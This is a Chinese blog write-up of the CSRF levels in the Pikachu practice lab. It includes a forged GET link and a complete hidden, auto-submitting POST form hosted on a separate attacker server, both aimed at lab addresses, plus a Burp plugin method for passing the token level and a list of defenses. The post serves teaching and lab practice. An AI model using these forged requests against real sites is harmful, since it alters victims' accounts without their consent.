pikachu靶场实战之CSRF漏洞(3)

CSRF(跨站请求伪造)漏洞概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。
CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

1.漏洞场景

小黑想要修改大白在购物网站 www.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

2.CSRF的攻击条件

(1)目标网站对关键信息的操作(增删改)是否容易被伪造。

(2)登录态,如果用户不是登录状态,即使点击了伪造的请求也没用。

3.CSRF和xss的区别

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。也就是说如果目标站点有xss漏洞,则攻击者可以欺骗用户访问有xss脚本的页面(盗取cookie),然后攻击者可以拿到用户的权限直接登录自己修改。

4.如何确认站点有没有CSRF漏洞

关键在于对目标站点有增删改查的地方进行查看,看请求是否容易被伪造。

手工的话:

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

工具检测,常用工具有burp,CSRFTester:

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

0x01 CSRF(get类型)

直接用burp抓包,发现该网站更新用户信息使用的是get请求,那么如果我们将请求复制下来,将里面要修改的信息替换掉诱导用户去点击,即可完成CSRF攻击。

csrf001

比如原来的用户性别为boy,那么我们可以构造如下的链接:

1
192.168.0.106:8097/vul/csrf/csrfget/csrf_get_edit.php?sex=dabandan&phonenum=18626545453&add=zhejiang&email=vince%40pikachu.com&submit=submit 

然后诱导用户去点击,那么用户的性别信息就变成了‘dabendan’。

csrf002

0x02 CSRF(post类型)

post请求不同于get,它将要修改的信息都放在请求体中,我们就没法通过伪造URL的方式来进行攻击。

那么,常用的攻击手法就是搭建一个有表单提交功能的服务器,然后诱导用户去点击。

用户服务器是:192.168.0.106

攻击服务器是:192.168.0.121

攻击服务器的页面源码如图,post.html.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<script> <!-- 这个script是用来自动提交表单的 -->
window.onload = function() {
document.getElementById("submit").click();
}
</script>
<body>
<form action="http://192.168.0.106/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="girl" />
<input type="hidden" name="phonenum" value="12345678922" />
<input type="hidden" name="add" value="usa" />
<input type="hidden" name="email" value="xiannv@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input id="submit" type="submit" value="Submit request" style="display:none"/> <!-- style设置为display:none起到隐藏submit按钮的作用 -->
</form>
</body>
</html>

只要诱导用户点击http://192.168.0.121/post.html这个链接即可。

0x03 CSRF token

继续登录抓包,发现这次的请求参数里面带上了token。

csrf004

token的话,指的是每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。这个随机码就是Token。

我们查看修改页面的源码就会服务器返回的修改的源码发现有一个隐藏的属性token。

csrf005

而在token_get_edit文件中,我们也能看到,修改后服务端会自动生成token。

csrf006

按照前面csrf get的方法,攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时,会把服务器返回的token填入和提交,而攻击者伪造URL时除非前期抓包获取到这个返回的token,否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理,对于POST方法也是一样。

对于CSRF漏洞来说,token是个很好的防御手段。

当然对于这关来说,我们可以用到burp的一个插件“CSRF Token Tracker”来过关,直接Extender里面搜索安装即可。

在CSRF Token Tracker页面做好基础的配置,包括host以及name。

csrf009

接着抓包,然后发送到Repeater,修改里面的信息都为1再发送,发现没有修改成功,木有关系,点击“Follow Redirection”即可。

csrf007

再看看网页端。

csrf008

0x04 CSRF漏洞的防范

CSRF漏洞的防护可以从以下三个方面进行考虑:

  • CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。

  • CSRF主动防御措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。

  • 保证页面的幂等性,后端接口不要在GET页面中做用户操作。

不同的防御措施有利有弊,在实际的实践的,我们还是需要结合具体的业务来综合考虑,选取出最合适的最佳实践。

参考文档:

  1. https://tech.meituan.com/2018/10/11/fe-security-csrf.html 前端安全系列(二):如何防止CSRF攻击?
  2. https://www.cnblogs.com/dogecheng/p/11583412.html Pikachu漏洞练习平台实验

pikachu靶场实战之CSRF漏洞(3)
https://www.yeyusec.com/2023/09/10/安全笔记/靶场学习/pikachu靶场实战之CSRF漏洞(3)/
作者
yeyusec
发布于
2023年9月10日
许可协议